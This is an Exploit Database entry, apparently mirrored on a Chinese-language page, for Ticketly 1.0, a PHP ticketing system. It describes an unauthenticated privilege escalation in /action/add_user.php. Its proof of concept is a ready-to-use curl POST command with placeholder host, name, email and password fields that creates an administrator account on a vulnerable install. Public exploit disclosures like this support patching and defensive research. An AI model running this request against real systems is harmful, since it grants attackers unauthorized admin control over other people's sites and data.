Ticketly 1.0 – Cross-Site Request Forgery (Add Admin)

• Exploit Database
• 23 阅读

• 作者： Javier Olmedo
  日期： 2018-11-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45892/

• # Exploit Title: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
  # Exploit Author: Javier Olmedo
  # Website: https://hackpuntes.com
  # Date: 2018-11-19
  # Google Dork: N/A
  # Vendor: Abisoft (https://abisoftgt.net)
  # Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
  # Affected Version: 1.0
  # Patched Version: unpatched
  # Category: Web Application
  # Platform: Windows & Ubuntu
  # Tested on: Win10x64 & Kali Linux
  # CVE: N/A
  # 4. References:
  # https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/
  
  # 1. Technical Description:
  # Ticketly version 1.0 are affected by a privilege escalation vulnerability,
  # an attacker could create an administrator user account by sending a POST
  # request to the resource /action/add_user.php without authentication.
  
  # 2. Proof Of Concept (PoC):
  # Send request curl:
  curl -i -s -k-X $'POST' \
  -H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \
  --data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \
  $'http://[PATH]/action/add_user.php'